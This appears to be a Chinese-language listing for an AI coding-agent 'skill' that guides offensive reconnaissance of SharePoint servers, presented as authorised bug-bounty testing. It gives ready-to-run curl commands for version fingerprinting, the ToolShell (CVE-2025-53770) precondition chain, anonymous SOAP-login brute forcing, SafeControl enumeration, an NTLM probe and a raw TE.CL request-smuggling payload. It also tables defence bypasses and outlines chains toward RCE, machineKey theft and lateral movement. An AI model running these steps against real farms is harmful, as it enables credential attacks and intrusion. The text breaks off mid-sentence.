关于 hunt-sharepoint
面向 SharePoint 的安全排查技能,用于识别版本信息、匿名端点、认证路径及其他攻击面信号。提供分步测试方法,并提醒避免将 URL 处理行为误判为 SSRF 等问题。
主要功能
- 01识别 SharePoint 版本
- 02梳理匿名端点
- 03检查旧式 SOAP 认证
- 04安全探测 ToolShell 前置条件
- 05发现 NTLM 与 SafeControl 信号
适用场景
- 01评估可从互联网访问的 SharePoint 场
- 02检查启用匿名访问的 Forms 认证区域
- 03核查旧版场的 CVE 暴露情况
- 04在授权测试中梳理 SharePoint 攻击面
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-sharepoint安装后在 Claude Code 中输入/hunt-sharepoint确认已加载。
详细介绍
高价值目标
SharePoint Server(本地部署)是 2025—2026 年漏洞赏金 / 红队工作中最丰富的企业攻击面之一。三股力量交汇于此:
- 已停止支持、未打补丁的代码路径。 SharePoint Server 2013 于 2023-04-11 结束延长支持(最终版本
15.0.5545.1000/ KB5002381)。此后发布的每个 SharePoint CVE,在 SP2013 场中都永久无法修补。SP2016 将于 2026-07-14 结束支持;SP2019 将于 2026-07-14 结束支持(截至 2026 年 5 月,也就是未来 2 个月);目前只有 SP Subscription Edition 仍处于主动支持期。 - CVE-2025-53770 / 53771“ToolShell”——2025 年 7 月针对 SPE / SP2019 / SP2016 的紧急带外补丁链。存在漏洞的代码路径(匿名访问
/_layouts/15/ToolPane.aspx?DisplayMode=Edit+ 匿名__REQUESTDIGEST+ 未加密的 ViewState)在 SP2013 中同样存在,且永远不会获得修复。 - 自定义品牌登录页会遗漏旧版 SOAP 登录。
/_vti_bin/Authentication.asmx中的LoginSOAP 操作,相当于 WordPress 的 XMLRPC 绕过——可匿名接受原生 Forms 凭据;大多数场中都没有速率限制,即使品牌 UI 设置了锁定机制也是如此。
价值最高的 SharePoint 目标:
- 仍可通过公共互联网访问的 SP2013 场——自 2023 年 4 月起的每个 CVE 都未修补。可提交严重级别的发现。
- 基于 SharePoint 构建的经销商 / 合作伙伴 / 供应商门户(例如德国 VW 集团、某企业系统集成商等)——包含影响重大的业务数据,且常嵌套于企业 AD 树中。
- 启用了匿名 Forms 身份验证区域的 SharePoint 场——Authentication.asmx 可被匿名暴力破解。
- 位于企业 AD 父林中的 SharePoint——NTLM Type-2 泄漏(参见
hunt-ntlm-info)会泄露父林成员信息。 - 集成了 Telerik 的 SharePoint 安装——除了 SP 自身的反序列化入口外,还存在额外入口。
**回报最高的资产类型:**可从互联网访问的 SP Server(任何版本)> 带有自定义解决方案挂钩的 SP Online > 仅在攻陷 VPN 后才能访问的内网 SP。
攻击面信号
响应头指纹(出现任意一项即可——通常会同时出现多项):
SPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: [REDACTED_IP] (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)
URL / 路径指纹:
/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx (often anon-readable)
/_vti_bin/lists.asmx (auth-required on hardened farms)
/_vti_bin/sites.asmx (auth-required on hardened farms)
/_vti_bin/sts/ (Security Token Service — usually 302 to error)
/sites/<name>/ (site collections)
/personal/<user>/ (MySite / OneDrive-for-Business)
正文信号(HTML 响应中):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)
技术栈信号:
Server: Microsoft-IIS/10.0+ 以/_layouts/15/开头的路径 → SharePoint 2013/2016/2019/SE- SharePoint 前置 AWS ELB / ALB → 可能存在跨节点 ViewState MAC 问题(参见 hunt-aspnet)
/_api/web/CurrentUser上的WWW-Authenticate: NTLM→ 双重身份验证(Forms + NTLM);使用hunt-ntlm-info获取 AD 拓扑信息*.test.<customer>.tld→ 生产 SharePoint 的测试 / 预发布镜像;其中的数据通常与生产环境同步
逐步狩猎方法
-
识别 SharePoint 版本。 可通过多个路径匿名获取版本号。立即将结果与 CVE 矩阵对应。
# Method 1: _vti_inf.html (always anonymous, always present) curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_vti_inf.html" # → FPVersion="[REDACTED_IP]" (15.x = SP2013, 16.x = SP2016/2019/SE) # Method 2: _api/contextinfo POST (anonymous on most farms) curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.LibraryVersion' # → "15.0.5545.1000" (full build number) # Method 3: /_layouts/15/start.aspx body curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/start.aspx" \ | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"与 CVE 矩阵对应:
版本 版本类型 状态 EoL 后仍未修补的显著 CVE 15.0.5545.1000SP2013 最终 CU EoL 2023-04-11 CVE-2023-29357、CVE-2023-33160/33157/36941、CVE-2024-21318/30043/38023/38024/38094、CVE-2025-53770/53771、CVE-2025-29794 16.0.10416.xSP2016 EoL 2026-07-14 取决于补丁级别 16.0.10417.x+SP2019 / SE 仍受支持 查看 Microsoft 每月的 Patch Tuesday -
探测匿名端点矩阵。 一次性遍历下表中的所有端点。任何可匿名访问的端点都可能成为攻击链的一环。
/_vti_inf.html → version disclosure /_layouts/15/start.aspx → version disclosure + session minting /_layouts/15/blank.htm → benign anchor for smuggling probes /_layouts/15/error.aspx → request-validator behaviour probe /_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour /_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour /_layouts/15/SignOut.aspx → logout — anonymous OK /_layouts/15/closeConnection.aspx → anonymous OK /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings /_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings /_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE) /_layouts/15/Picker.aspx → SafeControl recon (see step 6) /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name) /_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL) /_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops /_vti_bin/SharedAccess.asmx → often anonymous /_vti_bin/spsdisco.aspx → SP service discovery /_api/contextinfo (POST) → anonymous FormDigest mint (HIGH) /_api/$metadata → 381KB API surface enumeration /_api/Search → search service descriptor /_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info) -
通过 Authentication.asmx 绕过旧版 SOAP 登录。 对照
hunt-auth-bypass中的 Legacy-Protocol Matrix。标准探测方式:# First: confirm Mode = Forms (else this attack vector is N/A) curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \ -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>' # → <ModeResult>Forms</ModeResult> ← target is exploitable # → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY) # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface**严重程度:**匿名访问 + 无速率限制 + 无锁定机制时为严重。即使尚未证明身份验证成功,也应提交漏洞赏金报告——漏洞在于无上限的凭据验证,而不是“我破解了某个凭据”。
-
探测 ToolShell 前置条件链(CVE-2025-53770 类)。包括三个子请求:
# Sub-step a: anonymous GET on ToolPane.aspx curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" # Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED="" # If both: precondition stack is anonymous-reachable. # Sub-step b: anonymous POST to /_api/contextinfo curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.FormDigestValue' # Should return a valid digest with 1800s validity. # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \ -H "X-RequestDigest: <digest from step b>" \ --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.严重性: 对已终止支持的 SP2013 为严重(永远不会发布补丁)。如果
__VIEWSTATEENCRYPTED非空,则对 SP2016/2019/SE 为高危(加密 ViewState 可缓解反序列化攻击路径,但此前提仍提示存在错误配置)。重要: 不要实际发送恶意 ViewState 载荷。此前提链已足以作为报告证据。在真实的 CVE-2025-53770 攻击链中,恢复 machineKey 并非实现 RCE 的前提条件:认证绕过(CVE-2025-49706,通过精心构造的 Referer 访问 ToolPane.aspx)+ 不安全反序列化(CVE-2025-49704),即可在不了解 machineKey 的情况下获得初始 Web shell。随后,Web shell 会转储
<machineKey>(ValidationKey/DecryptionKey),并用它伪造带签名的__VIEWSTATE,以实现持久化/未认证的再次利用。因此,machineKey 是首次 RCE 后获取的战利品,也是持久化攻击路径的一环,而非攻击前置门槛——切勿仅因未知 machineKey 就低估存在可利用漏洞的场。 -
NTLM Type-2 AD 拓扑信息泄露。 完整方法请参阅
hunt-ntlm-info。快速检查:# Use Burp send_http1_request with keep-alive, or Python raw socket # Anonymous Type-1 with NetBIOS-info request flag: # Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw== # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name严重性: 与互联网暴露 + 默认
WIN-XXXXXXXXXXX主机名结合时为中危;否则为信息级。 -
通过 Picker.aspx 枚举 SafeControl。 Picker.aspx 根据类是否存在区分两种错误状态:
- 类型存在但不在白名单中:
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." - 类型不存在:
"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=[REDACTED_IP], Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
将
Microsoft.SharePoint.*.WebControls.*和Microsoft.SharePoint.WebPartPages.*类型的词表输入其中,以枚举可访问的类。这份列表本身就是 CVE-2019-0604 系列攻击链的侦察信息。for cls in \ "Microsoft.SharePoint.WebControls.PeopleEditor" \ "Microsoft.SharePoint.WebControls.ItemPicker" \ "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \ ; do curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \ | grep -oE "<title>[^<]+</title>" done - 类型存在但不在白名单中:
-
download.aspx并非出站 SSRF——识别这一点,别浪费时间。 SP 的/_layouts/15/download.aspx?SourceUrl=是 SP 内部路径解析器,不是通用 URL 获取器。其行为如下:- 外部 URL(
http://evil.example.com/x)→ 返回 500,提示"The Web application at <URL> could not be found"——服务器尝试将其解析为 SP Web 应用,并未获取内容。 - 同源文件 URL → 返回 500,提示
"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"——服务器尝试调用 SPFile.OpenBinary,文件不存在。 - 匹配扩展名阻止列表的文件(
.ashx、.asmx、.svc、.config)→ 无论文件是否存在,均返回 500,提示"file blocked from this Web site by the server administrators"。 file://、UNC 路径、gopher://等 → 返回 500,提示"Value does not fall within the expected range"——URL 方案验证器会拒绝请求。
错误消息中回显 URL 并不能证明存在 SSRF。 声称存在 SSRF 前,请通过 Burp Collaborator OOB 确认。(请参阅
hunt-ssrf的 OOB-Or-It-Didn't-Happen Gate。)在一次经授权的测试中已验证为否:在 12 个以上接受 URL 的 SP 参数中发送了 38 个带 Collaborator 标记的载荷,未收到任何回调。扩展名阻止列表看起来也像“文件存在性预言机”(存在与不存在时返回不同响应),但它实际上只是 SP 的文件扩展名策略。不要根据阻止列表响应推断文件是否存在。
- 外部 URL(
-
自定义品牌模块枚举。 客户定制的 SP 安装几乎总会有一个
/_layouts/15/<CustomerName>/目录树。可从登录 URL 找出名称(例如,/_layouts/15/<CustomerName>/pages/login/customlogin.aspx→ 客户名称为<CustomerName>)。然后探测:for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ "https://target.example/_layouts/15/CustomerName/$sub/" # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid doneJS 包中通常包含硬编码的端点 URL、隐藏路由和内部 API 路径。获取每个文件时,请带上正确的
Referer标头(有些文件受 Referer 限制)。 -
搜索服务探测。
/_api/Search会匿名返回简短的 JSON 描述符。若 Search Service Application 未运行,/_api/search/query?querytext='X'会返回包含堆栈跟踪的 500 响应——可用于基础设施信息泄露,但无法直接利用。 -
登录后需认证的界面(如果你拥有有效凭据):
/_api/web/Lists— 枚举列表/_api/web/SiteUsers— 枚举用户/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files— 枚举文件/_layouts/15/people.aspx— 用户列表- 自定义客户品牌模块 — 检查 IDOR 和业务逻辑
- 工作流服务(
/_api/SP.WorkflowServices.*)
载荷与检测模式
Authentication.asmx 登录(标准暴力破解端点):
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope>
响应代码:
<ErrorCode>NoError</ErrorCode>→ 认证成功;随后返回<CookieName>FedAuth</CookieName>和<TimeoutSeconds>...</TimeoutSeconds><ErrorCode>PasswordNotMatch</ErrorCode>→ 认证失败(不存在的用户也会得到相同响应,因此不会通过错误字符串泄露用户枚举信息)- 500 +
<faultstring>Value cannot be null. Parameter name: userName</faultstring>→ 用户名为空
复现 ToolShell 前置条件:
# Step 1: anon GET ToolPane.aspx
TP=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition
# Step 2: anon FormDigest
DIGEST=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."
# Step 3: anon POST ToolPane with digest
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "X-RequestDigest: $DIGEST" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-w "\ncode=%{http_code} size=%{size_download}\n"
AWS ELB + SP IIS 后端上的 HTTP TE.CL 请求走私(AWS ELB 后方的 SP 场均会稳定出现):
POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
预期后端挂起约 12 秒,基准值约为 0.16 秒(5 次试验结果一致)。混淆变体(Transfer-Encoding : chunked、transfer-encoding: chunked、尾随空格、混合大小写)会导致类似的约 6 秒挂起。
Picker.aspx SafeControl 侦察:
curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..." = does not exist
常见根本原因
-
/_vti_bin/Authentication.asmx在面向公共区域的 IIS 绑定上仍处于启用状态。 SharePoint 管理员在自定义登录界面上启用表单身份验证,却没有意识到旧版 SOAP Login 端点仍可独立访问。 -
布局页面上的
viewStateEncryption="Auto"。 对于不包含敏感表单字段的页面,SharePoint 的默认 ViewState 模式只进行签名。ToolPane.aspx 等页面的__VIEWSTATEENCRYPTED="",如果 machineKey 泄露,就可能被利用。 -
允许匿名 POST 访问
/_api/contextinfo。 SharePoint Online 和 SPE 2024-07+ 要求访问 contextinfo 时必须通过身份验证。较早版本和大多数 SP2013 场允许匿名 POST → 返回有效期为 1800 秒的 FormDigest 令牌。这是 ToolShell 的第二个前置条件。 -
面向公共区域的 IIS 绑定启用了 NTLM。 默认的双重身份验证(表单身份验证 + NTLM)会使匿名互联网用户也能使用 NTLM Negotiate。Type-2 挑战会泄露 AD 拓扑。
-
已过 EoL 的 SP2013 场仍暴露于互联网。 Microsoft 扩展支持已于 2023-04-11 结束。2023 年 4 月之后发布的所有 SharePoint CVE 都不会获得修补。在企业集成商场景中很常见(系统集成商位于企业母公司的 AD 内、由 SI 管理的经销商门户)。
-
将 web.config 中的
<SafeControl>白名单视为唯一防护措施。 Picker.aspx 会执行instanceof PickerDialog检查,已修补原始 CVE-2019-0604 攻击路径,但 Picker.aspx 的错误差异仍会导致底层 SafeControl 模型可被匿名枚举。 -
AWS ELB + SP IIS 未显式规范化 Transfer-Encoding。 ELB 默认会将
Transfer-Encoding转发到后端 IIS;当两者同时存在时,IIS 对Content-Length的处理方式会导致与 ELB 脱节。多种 TE 混淆变体可绕过简单的 WAF 规则。 -
默认 Windows 安装程序主机名(
WIN-XXXXXXXXXXX)从未更改。 这是匆忙部署的信号;与 SQL 后端默认服务帐户密码、管理中心默认场帐户密码等情况相关。 -
自定义品牌模块(
/_layouts/15/<Customer>/)的 JS 包使用?v=YYYYMMDD查询字符串。 查询字符串会显示最后修改日期,可用于判断“此应用仍在积极维护”还是“此应用已被弃用”。 -
AWS ELB 未将会话亲和性固定到单个 WFE 时,会发生跨节点 ViewState MAC 验证失败。 从运行角度看,这会导致用户每次 POST 都收到 500 错误;从安全角度看,错误消息会泄露场拓扑结构。
绕过技术
| 防御措施 | 绕过/侦察策略 |
|---|---|
带有品牌标识的 customlogin.aspx,并启用锁定/CAPTCHA/MFA | /_vti_bin/Authentication.asmx 旧版 SOAP——这些保护措施均不适用 |
WWW-Authenticate: NTLM 要求调用方通过身份验证 | 默认 IIS extendedProtection=None 允许匿名获取 Type-2 challenge——参见 hunt-ntlm-info |
ELB 删除了 MicrosoftSharePointTeamServices 标头 | /_layouts/15/start.aspx 的正文仍会泄露版本;/_api/contextinfo 的 LibraryVersion 也会 |
/_vti_bin/lists.asmx 返回 403(SharedAccess.asmx / Authentication.asmx 仍开放) | 不同服务的 ACL 各不相同;应分别枚举所有 asmx |
/_api/web/CurrentUser 返回带堆栈跟踪的 JSON 401 | 即使在拒绝身份验证的响应中,堆栈跟踪也会泄露信息;可结合版本泄露利用 |
发放匿名 __REQUESTDIGEST(ToolShell 前置条件) | 配合匿名 ToolPane POST 和未加密的 ViewState;反序列化入口无需 machineKey 即可实现 RCE——随后 shell 会转储 machineKey,以便持续重新利用 |
| 已设置自定义错误页面 | 触发不同代码路径(类似 XML 的 ViewState → 双解析器错误差异——参见 hunt-aspnet) |
WAF 会拦截查询中的 < | 将载荷移至 Cookie / Referer / SOAP 正文——请求验证器不会检查这些上下文 |
通过 SafeControl 补丁拦截了 Microsoft.SharePoint.WebPartPages.DataFormWebPart | 枚举 SafeControl 列表;寻找可绕过继承门禁的子类 |
| HTTP/2 H2.CL 请求走私 | AWS ALB 通常不会公布 h2 ALPN——通过 openssl s_client -alpn h2,http/1.1 尽早排除这类问题 |
Authenticate.aspx 将 Source= 包装在 ReturnUrl 中 | 使用有效凭据测试身份验证后的行为;身份验证前的调用链会安全地包装所有内容 |
Gate 0 验证
撰写报告前:
-
攻击者现在能做什么?
- Authentication.asmx 匿名开放且没有速率限制 → 严重(可无限次验证凭据;密码喷洒 + 来自 NTLM 的 UPN 格式 = 端到端 ATO 路径)
- 完整的 ToolShell 前置条件链(匿名 GET + 匿名 FormDigest + 匿名 POST + 未加密 VS)+ 已终止支持的 SP2013 → 严重(可通过有充分文档记录的公开利用链实现 RCE,不会再发布补丁)
- NTLM Type-2 泄露 AD 拓扑信息 + 默认 Windows 主机名 → 中等
- 仅 SP2013 已终止支持 → 中低(合规/安全卫生问题;漏洞赏金计划的标准各不相同——有些接受,许多会拒绝)
download.aspx回显 URL,但未确认 Collaborator 回连 → 不属于 SSRF——撤回
-
你是否已复现完整攻击链,达到攻击者可实现的影响?
- 对于 Authentication.asmx:进行 10 次突发测试并确保时序一致,即足以证明没有速率限制。不要实际破解凭据。
- 对于 ToolShell:前置条件链(步骤 a+b+c)即已足够。不要发送恶意载荷。
- 对于 NTLM:解码 AV-pair 并显示 AD 拓扑字段,即已足够。
-
你能否从干净的 shell 在 <10 分钟内复现?
- Authentication.asmx:2 条 curl 命令。
- ToolShell 前置条件:3 条 curl 命令。
- NTLM Type-2:1 段 Python 代码片段(AV-pair 解码器)。
真实影响示例
场景 A — 针对已停止生命周期的本地场服务器开展经授权的 SharePoint 测试
目标:https://target-portal.example/ — SharePoint Server 2013,内部版本 15.0.5545.1000(KB5002381 / 2023 年 4 月最终 EoL CU)。租户 = 企业全球 AD (customer.parent-corp.example) 内的系统集成商租户(瑞士 进口商)。服务器主机名 WIN-XXXXXXXXXXX(Windows 安装程序默认模式)。
共提交 11 项发现:3 项严重、2 项中等、6 项低危/信息类。3 项严重发现:
- Authentication.asmx 匿名凭据暴力破解 — 10 次突发测试显示响应时间稳定在 0.6–0.9 秒,没有速率限制、账户锁定、CAPTCHA 或 MFA 挑战。响应均为 431 字节。
- HTTP 请求走私 TE.CL — 5/5 次测试均显示后端挂起 12.18 秒,基线为 0.16 秒。另外,4 种混淆变体(冒号前空格、尾随空格、小写、大小写混合)均导致挂起 6.16 秒——每种都能绕过简单的 WAF 规则。
- ToolShell 前置条件链 — 匿名 GET ToolPane.aspx(200)+ 匿名 POST
/_api/contextinfo(200,有效的 FormDigest)+ 携带摘要的匿名 POST ToolPane.aspx(200,无身份验证质询)+__VIEWSTATEENCRYPTED=""。这是已停止生命周期的 SP2013 上的永久零日漏洞。
此外还有中等严重级别发现:NTLM Type-2 泄露完整 AD 拓扑(customer.parent-corp.example、WIN-XXXXXXXXXXX);SP2013 已停止生命周期暴露。
场景 B — 正确识别 /_layouts/15/download.aspx?SourceUrl= 并判定其不是 SSRF(节省时间示例)
同一目标。初始扫描将 download.aspx?SourceUrl=http://oob.example.com/ 标记为 SSRF,因为服务器在 500 错误标题中回显了该 URL("The Web application at http://oob.example.com/ could not be found")。对 12 个以上接受 URL 的 SP 参数使用 38 个 Collaborator 标记的载荷进行测试 → 没有 DNS/HTTP 回调。结论:download.aspx 是 SP 内部的 SPWebApplication / SPFile 解析器,不是通用 URL 获取器。“回显”是服务器端错误字符串格式化的结果。遵循 hunt-ssrf 的 OOB-Or-It-Didn't-Happen Gate,避免报告一项不适用的发现。
场景 C — 通过 Picker.aspx 验证 CVE-2019-0604 补丁
同一目标。向 Picker.aspx 提供 Microsoft.SharePoint.WebPartPages.DataFormWebPart(CVE-2019-0604 的标准反序列化 gadget),返回 "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." — 这表示该类型确实存在,且可通过反射访问,但对话框框架的 instanceof PickerDialog 补丁正确地拒绝了它。针对原始 CVE-2019-0604 利用向量的补丁确实已生效。类存在性枚举本身可用于侦察未来任何不经过继承门控的 CVE-2019-0604 系列利用链。
交叉引用
- Authentication.asmx 旧版 SOAP 登录 → 有关 WordPress-XMLRPC 同类模式,请参阅
hunt-auth-bypassLegacy-Protocol Matrix。 - NTLM Type-2 AD 拓扑泄露 → 有关 AV-pair 解码器和严重性分级标准,请参阅
hunt-ntlm-info。 - ViewState 双解析器反模式、machineKey 恢复、请求验证绕过 → 请参阅
hunt-aspnet。 - AWS ELB + IIS 上的 HTTP 请求走私 → 请参阅
hunt-http-smuggling。 - 对 SP 上任何 SSRF 声明进行 OOB 确认 → 请参阅
hunt-ssrfOOB-Or-It-Didn't-Happen Gate。 - 将卫生类发现作为漏洞赏金提交之前,先确认测试类型 → 请参阅
bb-methodologyPART 0 Mode-Confirmation Gate。
验证
运行此自测以确认 SharePoint 测试准备就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-sharepoint" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱章节 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
所有 3 项测试均可验证技能结构正确且已准备就绪。
易踩问题
- 未关联 CVE 的 SharePoint 版本泄露 — 了解 SP 版本仅具信息价值。还需要与之匹配、可利用的 CVE。
- 可访问
/_layouts/,但没有匿名操作 — 路径可达仅属于侦察。需要匿名读取、写入或执行权限。 - SharePoint 已终止支持,但未实际利用 — “SharePoint 2013 已终止支持”属于安全卫生问题,而非漏洞。需要证明漏洞可被利用。
- 匿名获取 FormDigest — 匿名请求
_api/contextinfo会返回 FormDigest,这是利用 ToolShell 的前提,并非独立漏洞。 - 现代身份验证与经典身份验证 — SharePoint Online 使用现代身份验证(OAuth)。本地部署的 SP 可能使用经典身份验证(NTLM/Kerberos)。两者的攻击面不同。
相关技能与攻击链
hunt-auth-bypass— 在配置错误的场中,旧版 SOAP/_vti_bin/Authentication.asmx会接受匿名 Login 调用。攻击链原语:探测 SharePoint 匿名 SOAP 登录 → 如果响应返回 Cookie 或呈现成功状态差异 → 使用hunt-auth-bypass暴力破解矩阵(通过计时枚举用户名,并针对同一个绕过 ADFS 级锁定的 SOAP 端点,以低速率进行密码喷洒)→ 获取有效凭据 → 访问经过身份验证的/_layouts/15/界面。hunt-ntlm-info— 每个 SharePoint 场都会在/_vti_bin/上向匿名用户提供WWW-Authenticate: NTLM。攻击链原语:捕获 SharePoint NTLM Type-2 挑战 →hunt-ntlm-info解码 AV_PAIR,获取 NetBIOS 域、内部 DNS 林和 DC 主机名 → 将域提供给m365-entra-attack,对与该域关联的租户进行 ROPC 用户枚举喷洒。hunt-aspnet— SharePoint 底层采用 ASP.NET Webforms;ViewState、machineKey 和 SafeControl 反射均适用。攻击链原语:泄露 SharePoint 版本 → 确认缺少相应补丁 → 使用hunt-aspnet通过 ViewState 双解析器 MAC 绕过 → 反序列化 gadget → 以场账户身份在w3wp.exe中实现 RCE。hunt-rce— ToolShell 前置条件链(CVE-2025-53770)是当前影响最大的 SP RCE 攻击路径。攻击链原语:满足 ToolShell 前置条件(通过 CVE-2025-49706 身份验证绕过可访问/_layouts/15/ToolPane.aspx?DisplayMode=Edit——在Referer标头中填入指向 ToolPane.aspx 的精心构造的值——且版本存在漏洞)→hunt-rce反序列化 gadget 链 → 获取 SYSTEM/场账户 Shell → 通过窃取的本地服务账户令牌,横向移动至 